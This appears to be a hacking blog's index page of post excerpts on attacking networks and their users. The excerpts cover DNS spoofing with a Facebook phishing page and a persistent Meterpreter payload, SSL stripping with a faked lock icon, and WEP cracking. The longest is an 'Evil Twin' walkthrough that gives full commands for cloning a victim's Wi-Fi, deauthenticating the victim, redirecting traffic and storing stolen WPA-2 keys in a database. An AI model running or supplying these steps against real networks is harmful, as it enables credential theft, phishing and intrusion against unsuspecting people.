Ettercap: DNS Spoof Configuration

Hey guys!

Following up on the last post, we are gonna take it a little further this time…

Attacker: Backtrack 5 R1 Gnome 32
Victim: Windows XP sp3 Fully Patched

We will spoof the network, this time using arpspoof & dnsspoof just because they provide greater finnesse!
For the Social Engineering Toolkit (SET) attack, I am going to use a custom template for Facebook (seen in an earlier post) since it reduces loading time compared to the cloned pages by S.E.T.

For the payload I choose the Meterpreter session in order to upload a file and make the victim’s Windows machine load that file every time the computer starts.
To achieve this we modify the regedit of the XP box via a vnc session.

Enough Talk, let’s check that video in hi-def:

Song: Victor Munhoz & Endo – Funky 2 (JPhil Remix)

... Read more »

This time we will be showing a seamless sniffing attack, where the attacker injects the whole network using ARP poisoning to become the man-in-the-middle.

After poisoning the network, all SSL / https traffic is redirected to a normal http (port 10000) without the targets even noticing anything. To top it off we display a lock icon on the webpage to make it seem like a https page.

Check out the video in high quality and leave feedback to TechnicDynamic@gmail.com !

Song: Oblivion, Endo – The Mente

... Read more »

Still today, it is very common to see small & medium business’ using low security settings on their network’s.

On this educational video, we will be looking at how an attacker would gain front door access to a network just by monitoring enough data packets to eventually crack the password.

The wireless network is in default configuration using the WEP encryption method.

Let’s take a look at the gear:

• Wireless Network Interface Card: AWUS036NH

• Computer using Linux Backtrack 5 Operating System

You can use any Linux distribution you like, but I recommend Backtrack because it comes with everything you will need pre-installed. For more information on how to install Backtrack to your computer or run a Live CD, visit their website by clicking on their logo image. Most wireless network interface cards are automatically identified by Backtrack as well.

Make sure you watch the video in high quality (1080p) so you can see the commands:

If you’re relatively new to Linux, I would recommend downloading the commands file and go through each step following the video. Remember to replace the devices under ()’s for the proper device. Example in video, (wireless device) = wlan0.

Songs used for the video credited to Mt. Eden

Thank you for watching and stay tuned for the next video! ... Read more »

In an ealier post, we’ve seen how to crack WPA-2 network keys using a dictionary.

While that technique works, it could take an awful long time, especially when brute forcing.

On this technique, named ‘Evil Twin’, we take a different perspective to the attack. Using a powerful long range wireless card (Alfa AWUS036NH), we clone the target network to confuse our victim. Then, we deauthenticate the victim from his own wireless network and wait until he connects to our access point – which looks exactly like his.

When the victim connects, he is redirected to a service page asking for the WPA-2 key in order to access the internet. As soon as we get the key, you can either allow the victim to use the network (maybe improvise some password sniffing?) or just bring it down manually.

For this example I created a service page based on Verizon ISP. The files are placed at the default location (/var/www/). I created a database called ‘wpa2′, which can be done with the following commands:

Login to MySQL:
mysql -u root -p
Note: Default backtrack user/pass are root/toor

Create the database:
create database wpa2;
use wpa2;
create table content(key1 VARCHAR(64), key2 VARCHAR(64));

Finally, start apache and mysql services and check everything works, by going typing localhost on a web-browser.

Click here to download the files: [ DOWNLOAD ]

Check out the video:

Song: BGNS – sasas

Commands:

Install dhcp3 and create config file:
apt-get install dhcp3-server -y
mv /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.backup
gedit /etc/dhcp3/dhcpd.conf

/etc/dhcp3/dhcpd.conf:
ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.2.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128;
option broadcast-address 192.168.2.255;
option routers 192.168.2.129;
option domain-name-servers 8.8.8.8;
range 192.168.2.130 192.168.2.140;
}

Start clone access point:
airmon-ng start wlan0 [channel]
airbase-ng -e "AP name" -c [channel] mon0
ifconfig at0 up
ifconfig at0 192.168.2.129 netmask 255.255.255.128
route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0
/etc/init.d/dhcp3-server start

Flush iptables:
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables --table nat --append POSTROUTING --out-interface [internet connection] -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Redirect traffic:
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination [IP address:80]
iptables -t nat -A POSTROUTING -j MASQUERADE

DeAuthenticate Access Point (poor):
aireplay-ng -0 0 -a [target bssid] [monitor interface]

DeAuthenticate Client (recommended):
aireplay-ng -0 0 -a [target bssid] -c [client mac] [monitor interface]

... Read more »